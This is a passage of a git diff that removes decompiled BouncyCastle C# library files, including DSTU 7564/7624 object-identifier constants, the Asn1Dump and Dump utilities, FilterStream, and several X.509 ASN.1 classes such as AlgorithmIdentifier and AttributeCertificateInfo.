UaOid.Branch("1.2.2.4"); - - public static readonly DerObjectIdentifier dstu7564mac_384 = UaOid.Branch("1.2.2.5"); - - public static readonly DerObjectIdentifier dstu7564mac_512 = UaOid.Branch("1.2.2.6"); - - public static readonly DerObjectIdentifier dstu7624ecb_128 = UaOid.Branch("1.1.3.1.1"); - - public static readonly DerObjectIdentifier dstu7624ecb_256 = UaOid.Branch("1.1.3.1.2"); - - public static readonly DerObjectIdentifier dstu7624ecb_512 = UaOid.Branch("1.1.3.1.3"); - - public static readonly DerObjectIdentifier dstu7624ctr_128 = UaOid.Branch("1.1.3.2.1"); - - public static readonly DerObjectIdentifier dstu7624ctr_256 = UaOid.Branch("1.1.3.2.2"); - - public static readonly DerObjectIdentifier dstu7624ctr_512 = UaOid.Branch("1.1.3.2.3"); - - public static readonly DerObjectIdentifier dstu7624cfb_128 = UaOid.Branch("1.1.3.3.1"); - - public static readonly DerObjectIdentifier dstu7624cfb_256 = UaOid.Branch("1.1.3.3.2"); - - public static readonly DerObjectIdentifier dstu7624cfb_512 = UaOid.Branch("1.1.3.3.3"); - - public static readonly DerObjectIdentifier dstu7624cmac_128 = UaOid.Branch("1.1.3.4.1"); - - public static readonly DerObjectIdentifier dstu7624cmac_256 = UaOid.Branch("1.1.3.4.2"); - - public static readonly DerObjectIdentifier dstu7624cmac_512 = UaOid.Branch("1.1.3.4.3"); - - public static readonly DerObjectIdentifier dstu7624cbc_128 = UaOid.Branch("1.1.3.5.1"); - - public static readonly DerObjectIdentifier dstu7624cbc_256 = UaOid.Branch("1.1.3.5.2"); - - public static readonly DerObjectIdentifier dstu7624cbc_512 = UaOid.Branch("1.1.3.5.3"); - - public static readonly DerObjectIdentifier dstu7624ofb_128 = UaOid.Branch("1.1.3.6.1"); - - public static readonly DerObjectIdentifier dstu7624ofb_256 = UaOid.Branch("1.1.3.6.2"); - - public static readonly DerObjectIdentifier dstu7624ofb_512 = UaOid.Branch("1.1.3.6.3"); - - public static readonly DerObjectIdentifier dstu7624gmac_128 = UaOid.Branch("1.1.3.7.1"); - - public static readonly DerObjectIdentifier dstu7624gmac_256 = UaOid.Branch("1.1.3.7.2"); - - public static readonly DerObjectIdentifier dstu7624gmac_512 = UaOid.Branch("1.1.3.7.3"); - - public static readonly DerObjectIdentifier dstu7624ccm_128 = UaOid.Branch("1.1.3.8.1"); - - public static readonly DerObjectIdentifier dstu7624ccm_256 = UaOid.Branch("1.1.3.8.2"); - - public static readonly DerObjectIdentifier dstu7624ccm_512 = UaOid.Branch("1.1.3.8.3"); - - public static readonly DerObjectIdentifier dstu7624xts_128 = UaOid.Branch("1.1.3.9.1"); - - public static readonly DerObjectIdentifier dstu7624xts_256 = UaOid.Branch("1.1.3.9.2"); - - public static readonly DerObjectIdentifier dstu7624xts_512 = UaOid.Branch("1.1.3.9.3"); - - public static readonly DerObjectIdentifier dstu7624kw_128 = UaOid.Branch("1.1.3.10.1"); - - public static readonly DerObjectIdentifier dstu7624kw_256 = UaOid.Branch("1.1.3.10.2"); - - public static readonly DerObjectIdentifier dstu7624kw_512 = UaOid.Branch("1.1.3.10.3"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/Asn1Dump.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/Asn1Dump.cs deleted file mode 100644 index 2196461..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/Asn1Dump.cs +++ /dev/null @@ -1,333 +0,0 @@ -using System; -using System.IO; -using System.Text; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.Utilities; - -public sealed class Asn1Dump -{ - private const string Tab = " "; - - private const int SampleSize = 32; - - private static readonly string NewLine = Platform.NewLine; - - private Asn1Dump() - { - } - - private static void AsString(string indent, bool verbose, Asn1Object obj, StringBuilder buf) - { - if (obj is Asn1Sequence) - { - string text = indent + " "; - buf.Append(indent); - if (obj is BerSequence) - { - buf.Append("BER Sequence"); - } - else if (obj is DerSequence) - { - buf.Append("DER Sequence"); - } - else - { - buf.Append("Sequence"); - } - buf.Append(NewLine); - { - foreach (Asn1Encodable item in (Asn1Sequence)obj) - { - if (item == null || item is Asn1Null) - { - buf.Append(text); - buf.Append("NULL"); - buf.Append(NewLine); - } - else - { - AsString(text, verbose, item.ToAsn1Object(), buf); - } - } - return; - } - } - if (obj is DerTaggedObject) - { - string text2 = indent + " "; - buf.Append(indent); - if (obj is BerTaggedObject) - { - buf.Append("BER Tagged ["); - } - else - { - buf.Append("Tagged ["); - } - DerTaggedObject derTaggedObject = (DerTaggedObject)obj; - buf.Append(derTaggedObject.TagNo.ToString()); - buf.Append(']'); - if (!derTaggedObject.IsExplicit()) - { - buf.Append(" IMPLICIT "); - } - buf.Append(NewLine); - if (derTaggedObject.IsEmpty()) - { - buf.Append(text2); - buf.Append("EMPTY"); - buf.Append(NewLine); - } - else - { - AsString(text2, verbose, derTaggedObject.GetObject(), buf); - } - return; - } - if (obj is BerSet) - { - string text3 = indent + " "; - buf.Append(indent); - buf.Append("BER Set"); - buf.Append(NewLine); - { - foreach (Asn1Encodable item2 in (Asn1Set)obj) - { - if (item2 == null) - { - buf.Append(text3); - buf.Append("NULL"); - buf.Append(NewLine); - } - else - { - AsString(text3, verbose, item2.ToAsn1Object(), buf); - } - } - return; - } - } - if (obj is DerSet) - { - string text4 = indent + " "; - buf.Append(indent); - buf.Append("DER Set"); - buf.Append(NewLine); - { - foreach (Asn1Encodable item3 in (Asn1Set)obj) - { - if (item3 == null) - { - buf.Append(text4); - buf.Append("NULL"); - buf.Append(NewLine); - } - else - { - AsString(text4, verbose, item3.ToAsn1Object(), buf); - } - } - return; - } - } - if (obj is DerObjectIdentifier) - { - buf.Append(indent + "ObjectIdentifier(" + ((DerObjectIdentifier)obj).Id + ")" + NewLine); - } - else if (obj is DerBoolean) - { - buf.Append(indent + "Boolean(" + ((DerBoolean)obj).IsTrue + ")" + NewLine); - } - else if (obj is DerInteger) - { - buf.Append(string.Concat(indent, "Integer(", ((DerInteger)obj).Value, ")", NewLine)); - } - else if (obj is BerOctetString) - { - byte[] octets = ((Asn1OctetString)obj).GetOctets(); - string text5 = (verbose ? dumpBinaryDataAsString(indent, octets) : ""); - buf.Append(indent + "BER Octet String[" + octets.Length + "] " + text5 + NewLine); - } - else if (obj is DerOctetString) - { - byte[] octets2 = ((Asn1OctetString)obj).GetOctets(); - string text6 = (verbose ? dumpBinaryDataAsString(indent, octets2) : ""); - buf.Append(indent + "DER Octet String[" + octets2.Length + "] " + text6 + NewLine); - } - else if (obj is DerBitString) - { - DerBitString derBitString = (DerBitString)obj; - byte[] bytes = derBitString.GetBytes(); - string text7 = (verbose ? dumpBinaryDataAsString(indent, bytes) : ""); - buf.Append(indent + "DER Bit String[" + bytes.Length + ", " + derBitString.PadBits + "] " + text7 + NewLine); - } - else if (obj is DerIA5String) - { - buf.Append(indent + "IA5String(" + ((DerIA5String)obj).GetString() + ") " + NewLine); - } - else if (obj is DerUtf8String) - { - buf.Append(indent + "UTF8String(" + ((DerUtf8String)obj).GetString() + ") " + NewLine); - } - else if (obj is DerPrintableString) - { - buf.Append(indent + "PrintableString(" + ((DerPrintableString)obj).GetString() + ") " + NewLine); - } - else if (obj is DerVisibleString) - { - buf.Append(indent + "VisibleString(" + ((DerVisibleString)obj).GetString() + ") " + NewLine); - } - else if (obj is DerBmpString) - { - buf.Append(indent + "BMPString(" + ((DerBmpString)obj).GetString() + ") " + NewLine); - } - else if (obj is DerT61String) - { - buf.Append(indent + "T61String(" + ((DerT61String)obj).GetString() + ") " + NewLine); - } - else if (obj is DerGraphicString) - { - buf.Append(indent + "GraphicString(" + ((DerGraphicString)obj).GetString() + ") " + NewLine); - } - else if (obj is DerVideotexString) - { - buf.Append(indent + "VideotexString(" + ((DerVideotexString)obj).GetString() + ") " + NewLine); - } - else if (obj is DerUtcTime) - { - buf.Append(indent + "UTCTime(" + ((DerUtcTime)obj).TimeString + ") " + NewLine); - } - else if (obj is DerGeneralizedTime) - { - buf.Append(indent + "GeneralizedTime(" + ((DerGeneralizedTime)obj).GetTime() + ") " + NewLine); - } - else if (obj is BerApplicationSpecific) - { - buf.Append(outputApplicationSpecific("BER", indent, verbose, (BerApplicationSpecific)obj)); - } - else if (obj is DerApplicationSpecific) - { - buf.Append(outputApplicationSpecific("DER", indent, verbose, (DerApplicationSpecific)obj)); - } - else if (obj is DerEnumerated) - { - DerEnumerated derEnumerated = (DerEnumerated)obj; - buf.Append(string.Concat(indent, "DER Enumerated(", derEnumerated.Value, ")", NewLine)); - } - else if (obj is DerExternal) - { - DerExternal derExternal = (DerExternal)obj; - buf.Append(indent + "External " + NewLine); - string text8 = indent + " "; - if (derExternal.DirectReference != null) - { - buf.Append(text8 + "Direct Reference: " + derExternal.DirectReference.Id + NewLine); - } - if (derExternal.IndirectReference != null) - { - buf.Append(text8 + "Indirect Reference: " + derExternal.IndirectReference.ToString() + NewLine); - } - if (derExternal.DataValueDescriptor != null) - { - AsString(text8, verbose, derExternal.DataValueDescriptor, buf); - } - buf.Append(text8 + "Encoding: " + derExternal.Encoding + NewLine); - AsString(text8, verbose, derExternal.ExternalContent, buf); - } - else - { - buf.Append(indent + obj.ToString() + NewLine); - } - } - - private static string outputApplicationSpecific(string type, string indent, bool verbose, DerApplicationSpecific app) - { - StringBuilder stringBuilder = new StringBuilder(); - if (app.IsConstructed()) - { - try - { - Asn1Sequence instance = Asn1Sequence.GetInstance(app.GetObject(16)); - stringBuilder.Append(indent + type + " ApplicationSpecific[" + app.ApplicationTag + "]" + NewLine); - foreach (Asn1Encodable item in instance) - { - AsString(indent + " ", verbose, item.ToAsn1Object(), stringBuilder); - } - } - catch (IOException value) - { - stringBuilder.Append(value); - } - return stringBuilder.ToString(); - } - return indent + type + " ApplicationSpecific[" + app.ApplicationTag + "] (" + Hex.ToHexString(app.GetContents()) + ")" + NewLine; - } - - [Obsolete("Use version accepting Asn1Encodable")] - public static string DumpAsString(object obj) - { - if (obj is Asn1Encodable) - { - StringBuilder stringBuilder = new StringBuilder(); - AsString("", verbose: false, ((Asn1Encodable)obj).ToAsn1Object(), stringBuilder); - return stringBuilder.ToString(); - } - return "unknown object type " + obj.ToString(); - } - - public static string DumpAsString(Asn1Encodable obj) - { - return DumpAsString(obj, verbose: false); - } - - public static string DumpAsString(Asn1Encodable obj, bool verbose) - { - StringBuilder stringBuilder = new StringBuilder(); - AsString("", verbose, obj.ToAsn1Object(), stringBuilder); - return stringBuilder.ToString(); - } - - private static string dumpBinaryDataAsString(string indent, byte[] bytes) - { - indent += " "; - StringBuilder stringBuilder = new StringBuilder(NewLine); - for (int i = 0; i < bytes.Length; i += 32) - { - if (bytes.Length - i > 32) - { - stringBuilder.Append(indent); - stringBuilder.Append(Hex.ToHexString(bytes, i, 32)); - stringBuilder.Append(" "); - stringBuilder.Append(calculateAscString(bytes, i, 32)); - stringBuilder.Append(NewLine); - continue; - } - stringBuilder.Append(indent); - stringBuilder.Append(Hex.ToHexString(bytes, i, bytes.Length - i)); - for (int j = bytes.Length - i; j != 32; j++) - { - stringBuilder.Append(" "); - } - stringBuilder.Append(" "); - stringBuilder.Append(calculateAscString(bytes, i, bytes.Length - i)); - stringBuilder.Append(NewLine); - } - return stringBuilder.ToString(); - } - - private static string calculateAscString(byte[] bytes, int off, int len) - { - StringBuilder stringBuilder = new StringBuilder(); - for (int i = off; i != off + len; i++) - { - char c = (char)bytes[i]; - if (c >= ' ' && c <= '~') - { - stringBuilder.Append(c); - } - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/Dump.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/Dump.cs deleted file mode 100644 index d66a5d8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/Dump.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Utilities; - -public sealed class Dump -{ - private Dump() - { - } - - public static void Main(string[] args) - { - FileStream inputStream = File.OpenRead(args[0]); - Asn1InputStream asn1InputStream = new Asn1InputStream(inputStream); - Asn1Object obj; - while ((obj = asn1InputStream.ReadObject()) != null) - { - Console.WriteLine(Asn1Dump.DumpAsString(obj)); - } - Platform.Dispose(asn1InputStream); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/FilterStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/FilterStream.cs deleted file mode 100644 index 60c7d19..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Utilities/FilterStream.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Utilities; - -[Obsolete("Use Org.BouncyCastle.Utilities.IO.FilterStream")] -public class FilterStream : Stream -{ - protected readonly Stream s; - - public override bool CanRead => s.CanRead; - - public override bool CanSeek => s.CanSeek; - - public override bool CanWrite => s.CanWrite; - - public override long Length => s.Length; - - public override long Position - { - get - { - return s.Position; - } - set - { - s.Position = value; - } - } - - [Obsolete("Use Org.BouncyCastle.Utilities.IO.FilterStream")] - public FilterStream(Stream s) - { - this.s = s; - } - - public override void Close() - { - Platform.Dispose(s); - base.Close(); - } - - public override void Flush() - { - s.Flush(); - } - - public override long Seek(long offset, SeekOrigin origin) - { - return s.Seek(offset, origin); - } - - public override void SetLength(long value) - { - s.SetLength(value); - } - - public override int Read(byte[] buffer, int offset, int count) - { - return s.Read(buffer, offset, count); - } - - public override int ReadByte() - { - return s.ReadByte(); - } - - public override void Write(byte[] buffer, int offset, int count) - { - s.Write(buffer, offset, count); - } - - public override void WriteByte(byte value) - { - s.WriteByte(value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X500/DirectoryString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X500/DirectoryString.cs deleted file mode 100644 index ecee702..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X500/DirectoryString.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X500; - -public class DirectoryString : Asn1Encodable, IAsn1Choice, IAsn1String -{ - private readonly DerStringBase str; - - public static DirectoryString GetInstance(object obj) - { - if (obj == null || obj is DirectoryString) - { - return (DirectoryString)obj; - } - if (obj is DerStringBase && (obj is DerT61String || obj is DerPrintableString || obj is DerUniversalString || obj is DerUtf8String || obj is DerBmpString)) - { - return new DirectoryString((DerStringBase)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static DirectoryString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - if (!isExplicit) - { - throw new ArgumentException("choice item must be explicitly tagged"); - } - return GetInstance(obj.GetObject()); - } - - private DirectoryString(DerStringBase str) - { - this.str = str; - } - - public DirectoryString(string str) - { - this.str = new DerUtf8String(str); - } - - public string GetString() - { - return str.GetString(); - } - - public override Asn1Object ToAsn1Object() - { - return str.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AccessDescription.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AccessDescription.cs deleted file mode 100644 index 2a78f8a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AccessDescription.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AccessDescription : Asn1Encodable -{ - public static readonly DerObjectIdentifier IdADCAIssuers = new DerObjectIdentifier("1.3.6.1.5.5.7.48.2"); - - public static readonly DerObjectIdentifier IdADOcsp = new DerObjectIdentifier("1.3.6.1.5.5.7.48.1"); - - private readonly DerObjectIdentifier accessMethod; - - private readonly GeneralName accessLocation; - - public DerObjectIdentifier AccessMethod => accessMethod; - - public GeneralName AccessLocation => accessLocation; - - public static AccessDescription GetInstance(object obj) - { - if (obj is AccessDescription) - { - return (AccessDescription)obj; - } - if (obj is Asn1Sequence) - { - return new AccessDescription((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private AccessDescription(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("wrong number of elements in sequence"); - } - accessMethod = DerObjectIdentifier.GetInstance(seq[0]); - accessLocation = GeneralName.GetInstance(seq[1]); - } - - public AccessDescription(DerObjectIdentifier oid, GeneralName location) - { - accessMethod = oid; - accessLocation = location; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(accessMethod, accessLocation); - } - - public override string ToString() - { - return "AccessDescription: Oid(" + accessMethod.Id + ")"; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AlgorithmIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AlgorithmIdentifier.cs deleted file mode 100644 index 45813f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AlgorithmIdentifier.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AlgorithmIdentifier : Asn1Encodable -{ - private readonly DerObjectIdentifier algorithm; - - private readonly Asn1Encodable parameters; - - public virtual DerObjectIdentifier Algorithm => algorithm; - - [Obsolete("Use 'Algorithm' property instead")] - public virtual DerObjectIdentifier ObjectID => algorithm; - - public virtual Asn1Encodable Parameters => parameters; - - public static AlgorithmIdentifier GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static AlgorithmIdentifier GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is AlgorithmIdentifier) - { - return (AlgorithmIdentifier)obj; - } - return new AlgorithmIdentifier(Asn1Sequence.GetInstance(obj)); - } - - public AlgorithmIdentifier(DerObjectIdentifier algorithm) - { - this.algorithm = algorithm; - } - - [Obsolete("Use version taking a DerObjectIdentifier")] - public AlgorithmIdentifier(string algorithm) - { - this.algorithm = new DerObjectIdentifier(algorithm); - } - - public AlgorithmIdentifier(DerObjectIdentifier algorithm, Asn1Encodable parameters) - { - this.algorithm = algorithm; - this.parameters = parameters; - } - - internal AlgorithmIdentifier(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - algorithm = DerObjectIdentifier.GetInstance(seq[0]); - parameters = ((seq.Count < 2) ? null : seq[1]); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(algorithm); - asn1EncodableVector.AddOptional(parameters); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttCertIssuer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttCertIssuer.cs deleted file mode 100644 index 5b1aa19..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttCertIssuer.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AttCertIssuer : Asn1Encodable, IAsn1Choice -{ - internal readonly Asn1Encodable obj; - - internal readonly Asn1Object choiceObj; - - public Asn1Encodable Issuer => obj; - - public static AttCertIssuer GetInstance(object obj) - { - if (obj is AttCertIssuer) - { - return (AttCertIssuer)obj; - } - if (obj is V2Form) - { - return new AttCertIssuer(V2Form.GetInstance(obj)); - } - if (obj is GeneralNames) - { - return new AttCertIssuer((GeneralNames)obj); - } - if (obj is Asn1TaggedObject) - { - return new AttCertIssuer(V2Form.GetInstance((Asn1TaggedObject)obj, explicitly: false)); - } - if (obj is Asn1Sequence) - { - return new AttCertIssuer(GeneralNames.GetInstance(obj)); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static AttCertIssuer GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(obj.GetObject()); - } - - public AttCertIssuer(GeneralNames names) - { - obj = names; - choiceObj = obj.ToAsn1Object(); - } - - public AttCertIssuer(V2Form v2Form) - { - obj = v2Form; - choiceObj = new DerTaggedObject(explicitly: false, 0, obj); - } - - public override Asn1Object ToAsn1Object() - { - return choiceObj; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttCertValidityPeriod.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttCertValidityPeriod.cs deleted file mode 100644 index 2a33e27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttCertValidityPeriod.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AttCertValidityPeriod : Asn1Encodable -{ - private readonly DerGeneralizedTime notBeforeTime; - - private readonly DerGeneralizedTime notAfterTime; - - public DerGeneralizedTime NotBeforeTime => notBeforeTime; - - public DerGeneralizedTime NotAfterTime => notAfterTime; - - public static AttCertValidityPeriod GetInstance(object obj) - { - if (obj is AttCertValidityPeriod || obj == null) - { - return (AttCertValidityPeriod)obj; - } - if (obj is Asn1Sequence) - { - return new AttCertValidityPeriod((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static AttCertValidityPeriod GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - private AttCertValidityPeriod(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - notBeforeTime = DerGeneralizedTime.GetInstance(seq[0]); - notAfterTime = DerGeneralizedTime.GetInstance(seq[1]); - } - - public AttCertValidityPeriod(DerGeneralizedTime notBeforeTime, DerGeneralizedTime notAfterTime) - { - this.notBeforeTime = notBeforeTime; - this.notAfterTime = notAfterTime; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(notBeforeTime, notAfterTime); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeCertificate.cs deleted file mode 100644 index deeeb68..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeCertificate.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AttributeCertificate : Asn1Encodable -{ - private readonly AttributeCertificateInfo acinfo; - - private readonly AlgorithmIdentifier signatureAlgorithm; - - private readonly DerBitString signatureValue; - - public AttributeCertificateInfo ACInfo => acinfo; - - public AlgorithmIdentifier SignatureAlgorithm => signatureAlgorithm; - - public DerBitString SignatureValue => signatureValue; - - public static AttributeCertificate GetInstance(object obj) - { - if (obj is AttributeCertificate) - { - return (AttributeCertificate)obj; - } - if (obj != null) - { - return new AttributeCertificate(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public AttributeCertificate(AttributeCertificateInfo acinfo, AlgorithmIdentifier signatureAlgorithm, DerBitString signatureValue) - { - this.acinfo = acinfo; - this.signatureAlgorithm = signatureAlgorithm; - this.signatureValue = signatureValue; - } - - private AttributeCertificate(Asn1Sequence seq) - { - if (seq.Count != 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - acinfo = AttributeCertificateInfo.GetInstance(seq[0]); - signatureAlgorithm = AlgorithmIdentifier.GetInstance(seq[1]); - signatureValue = DerBitString.GetInstance(seq[2]); - } - - public byte[] GetSignatureOctets() - { - return signatureValue.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(acinfo, signatureAlgorithm, signatureValue); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeCertificateInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeCertificateInfo.cs deleted file mode 100644 index defa58d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeCertificateInfo.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AttributeCertificateInfo : Asn1Encodable -{ - internal readonly DerInteger version; - - internal readonly Holder holder; - - internal readonly AttCertIssuer issuer; - - internal readonly AlgorithmIdentifier signature; - - internal readonly DerInteger serialNumber; - - internal readonly AttCertValidityPeriod attrCertValidityPeriod; - - internal readonly Asn1Sequence attributes; - - internal readonly DerBitString issuerUniqueID; - - internal readonly X509Extensions extensions; - - public DerInteger Version => version; - - public Holder Holder => holder; - - public AttCertIssuer Issuer => issuer; - - public AlgorithmIdentifier Signature => signature; - - public DerInteger SerialNumber => serialNumber; - - public AttCertValidityPeriod AttrCertValidityPeriod => attrCertValidityPeriod; - - public Asn1Sequence Attributes => attributes; - - public DerBitString IssuerUniqueID => issuerUniqueID; - - public X509Extensions Extensions => extensions; - - public static AttributeCertificateInfo GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static AttributeCertificateInfo GetInstance(object obj) - { - if (obj is AttributeCertificateInfo) - { - return (AttributeCertificateInfo)obj; - } - if (obj is Asn1Sequence) - { - return new AttributeCertificateInfo((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private AttributeCertificateInfo(Asn1Sequence seq) - { - if (seq.Count < 7 || seq.Count > 9) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - version = DerInteger.GetInstance(seq[0]); - holder = Holder.GetInstance(seq[1]); - issuer = AttCertIssuer.GetInstance(seq[2]); - signature = AlgorithmIdentifier.GetInstance(seq[3]); - serialNumber = DerInteger.GetInstance(seq[4]); - attrCertValidityPeriod = AttCertValidityPeriod.GetInstance(seq[5]); - attributes = Asn1Sequence.GetInstance(seq[6]); - for (int i = 7; i < seq.Count; i++) - { - Asn1Encodable asn1Encodable = seq[i]; - if (asn1Encodable is DerBitString) - { - issuerUniqueID = DerBitString.GetInstance(seq[i]); - } - else if (asn1Encodable is Asn1Sequence || asn1Encodable is X509Extensions) - { - extensions = X509Extensions.GetInstance(seq[i]); - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, holder, issuer, signature, serialNumber, attrCertValidityPeriod, attributes); - if (issuerUniqueID != null) - { - asn1EncodableVector.Add(issuerUniqueID); - } - if (extensions != null) - { - asn1EncodableVector.Add(extensions); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeTable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeTable.cs deleted file mode 100644 index 17bcc6d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeTable.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AttributeTable -{ - private readonly IDictionary attributes; - - public AttributeTable(IDictionary attrs) - { - attributes = Platform.CreateHashtable(attrs); - } - - [Obsolete] - public AttributeTable(Hashtable attrs) - { - attributes = Platform.CreateHashtable(attrs); - } - - public AttributeTable(Asn1EncodableVector v) - { - attributes = Platform.CreateHashtable(v.Count); - for (int i = 0; i != v.Count; i++) - { - AttributeX509 instance = AttributeX509.GetInstance(v[i]); - attributes.Add(instance.AttrType, instance); - } - } - - public AttributeTable(Asn1Set s) - { - attributes = Platform.CreateHashtable(s.Count); - for (int i = 0; i != s.Count; i++) - { - AttributeX509 instance = AttributeX509.GetInstance(s[i]); - attributes.Add(instance.AttrType, instance); - } - } - - public AttributeX509 Get(DerObjectIdentifier oid) - { - return (AttributeX509)attributes[oid]; - } - - [Obsolete("Use 'ToDictionary' instead")] - public Hashtable ToHashtable() - { - return new Hashtable(attributes); - } - - public IDictionary ToDictionary() - { - return Platform.CreateHashtable(attributes); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeX509.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeX509.cs deleted file mode 100644 index 1cdd5ad..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/AttributeX509.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class AttributeX509 : Asn1Encodable -{ - private readonly DerObjectIdentifier attrType; - - private readonly Asn1Set attrValues; - - public DerObjectIdentifier AttrType => attrType; - - public Asn1Set AttrValues => attrValues; - - public static AttributeX509 GetInstance(object obj) - { - if (obj == null || obj is AttributeX509) - { - return (AttributeX509)obj; - } - if (obj is 